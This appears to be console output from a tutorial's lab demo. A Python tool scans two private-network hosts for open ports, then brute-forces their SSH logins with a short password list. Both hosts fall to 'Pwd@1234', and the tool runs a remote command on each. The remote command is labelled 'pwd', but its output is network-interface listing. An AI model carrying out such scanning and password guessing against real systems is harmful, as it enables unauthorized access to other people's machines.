1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| [root@localhost ~]# python3 copy_namp_tools.py 输入扫描的主机和端口范围(例如:192.168.1.199,18-22):192.168.1.198-199,18-22 ------------------------------ Host:192.168.1.198 Stat:up ----------- Protocol:tcp Port:18 State:closed Port:19 State:closed Port:20 State:closed Port:21 State:closed Port:22 State:open ------------------------------ Host:192.168.1.199 Stat:up ----------- Protocol:tcp Port:18 State:closed Port:19 State:closed Port:20 State:closed Port:21 State:closed Port:22 State:open 目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:1qaz2wsx 目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:qwerjkl123 目标主机:192.168.1.198,SSH端口22,暴力破解成功!!! 使用密码:Pwd@1234,在远端执行pwd命令: b'1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n inet 127.0.0.1/8 scope host lo\n valid_lft forever preferred_lft forever\n inet6 ::1/128 scope host \n valid_lft forever preferred_lft forever\n2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000\n link/ether 00:0c:29:a7:34:0e brd ff:ff:ff:ff:ff:ff\n inet 192.168.1.198/24 brd 192.168.1.255 scope global noprefixroute ens33\n valid_lft forever preferred_lft forever\n inet6 fe80::543a:bea3:88f:2867/64 scope link noprefixroute \n valid_lft forever preferred_lft forever\n3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000\n link/ether 52:54:00:a5:50:b8 brd ff:ff:ff:ff:ff:ff\n inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0\n valid_lft forever preferred_lft forever\n4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000\n link/ether 52:54:00:a5:50:b8 brd ff:ff:ff:ff:ff:ff\n' 目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:19981109 目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:29123kdkdfjf 目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:fj3298kdskkmf2 目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:dsikmkckfie9 目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:di29odsklsdjf 目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:2300fgjgikvof 目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:1qaz2wsx 目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:qwerjkl123 目标主机:192.168.1.199,SSH端口22,暴力破解成功!!! 使用密码:Pwd@1234,在远端执行pwd命令: b'1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n inet 127.0.0.1/8 scope host lo\n valid_lft forever preferred_lft forever\n inet6 ::1/128 scope host \n valid_lft forever preferred_lft forever\n2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000\n link/ether 00:0c:29:ac:8f:c5 brd ff:ff:ff:ff:ff:ff\n inet 192.168.1.199/24 brd 192.168.1.255 scope global noprefixroute ens33\n valid_lft forever preferred_lft forever\n3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000\n link/ether 52:54:00:ae:b0:96 brd ff:ff:ff:ff:ff:ff\n inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0\n valid_lft forever preferred_lft forever\n4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000\n link/ether 52:54:00:ae:b0:96 brd ff:ff:ff:ff:ff:ff\n' 目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:19981109 目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:29123kdkdfjf 目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:fj3298kdskkmf2 目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:dsikmkckfie9 目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:di29odsklsdjf 目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:2300fgjgikvof 暴力破解一共使用40.34秒
|